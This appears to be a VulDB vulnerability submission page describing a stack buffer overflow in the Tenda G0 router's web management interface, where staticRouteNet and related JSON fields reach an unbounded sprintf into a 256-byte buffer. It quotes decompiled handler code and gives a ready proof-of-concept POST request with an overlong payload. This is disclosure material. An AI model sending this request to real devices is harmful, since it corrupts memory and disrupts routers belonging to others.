提出 #868927: Tenda G0 Tenda G0 Buffer Overflow

A buffer overflow vulnerability was discovered in Tenda G0. Attackers can exploit this vulnerability by specifying the value of staticRouteNet. When staticRouteNet is passed from formSetStaticRoute into addStaticRoute and then formatted into the fixed-size stack buffer s_ by sprintf without length validation, it may cause a buffer overflow.

Technical details from the advisory:
The vulnerable component is the httpd web management interface. The vulnerable endpoint is goform/module. The unified module dispatch entry is:
websDefineAction("module", (int)formModules);

The setStaticRoute handler is registered as:
moduleRegister("setStaticRoute", (int)formSetStaticRoute);

In formSetStaticRoute, the data object is passed into addStaticRoute when type is add:
v6 = addStaticRoute((int)ObjectItem);

In addStaticRoute, attacker-controlled values are read from the JSON data object:
String = cJSON_GetString(a1, "staticRouteNet", (int)&unk_507E10);
v3 = cJSON_GetString(a1, "staticRouteMask", (int)&unk_507E10);
v4 = cJSON_GetString(a1, "staticRouteGateway", (int)&unk_507E10);
v5 = (char *)cJSON_GetString(a1, "staticRouteWAN", (int)&unk_507E10);

The destination buffer is a fixed-size stack buffer:
char s_[256];

The user-controlled static route fields are formatted into s_ without length validation:
sprintf(s_, "%s;%s;%s;%d;WAN0", (const char *)String, (const char *)v3, (const char *)v4, 0);

Because sprintf writes attacker-controlled staticRouteNet, staticRouteMask, and staticRouteGateway values into the fixed-size s_ stack buffer, overly long values can overflow the buffer and corrupt adjacent stack memory.

Conceptual proof-of-concept request:
POST /goform/module HTTP/1.1
Host: <device-ip>
Content-Type: application/json

{"setStaticRoute":{"type":"add","data":{"staticRouteNet":"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA","staticRouteMask":"x.x.x.x","staticRouteGateway":"192.168.1.1","staticRouteWAN":"wan1"}}}

• ソース: ⚠️ https://github.com/lipenghai/iot_bug/blob/main/Tenda/G0/2.md
• ユーザー: stksgg (UID 97520)
• 送信: 2026年06月25日 09:08 (2 月 ago)
• モデレーション: 2026年08月13日 20:55 (2 months later)
• ステータス: 承諾済み
• VulDBエントリ: 389759 [Tenda G0 迄 20260625 httpd web management interface /goform/module addStaticRoute staticRouteNet メモリ破損]
• ポイント: 20